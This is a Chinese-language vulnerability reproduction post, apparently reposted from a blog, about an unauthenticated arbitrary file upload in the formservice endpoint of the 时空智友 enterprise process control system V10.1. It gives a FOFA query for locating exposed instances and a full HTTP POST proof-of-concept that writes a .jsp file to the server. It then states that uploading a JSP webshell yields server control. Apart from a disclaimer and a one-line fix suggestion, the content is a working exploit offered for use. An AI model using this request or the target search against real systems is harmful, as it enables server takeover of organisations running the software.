前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

一、产品简介

时空智友企业流程化管控系统是一款企业信息管理软件，致力于协助大健康企业构建内部信息化，解决GSP管理、多组织管理、财务管理、税控管理、线上线下一体化等问题。 该系统可以帮助企业实现流程化管控，提高工作效率和管理水平。

二、漏洞描述

时空智友企业流程化管控系统 formservice接口处存在任意文件上传漏洞，未经认证的攻击者可通过此接口上传后门文件，最终可导致服务器失陷。

三、影响范围

时空智友 V10.1

四、复现环境

FOFA：app=“时空智友V10.1”

五、漏洞复现

1.访问存在漏洞的网站，抓包

2.POC

POST /formservice?service=attachment.write&isattach=false&filename=c.jsp HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 3

ccc

3.访问http://your-ip/form/temp/回显的文件名，成功

六、漏洞利用

直接上传jsp马，即可获得服务器权限，这里不再演示

七、修复建议

限制外网访问此系统，更新系统至安全版本

参考链接

https://blog.csdn.net/qq_41904294/article/details/132419148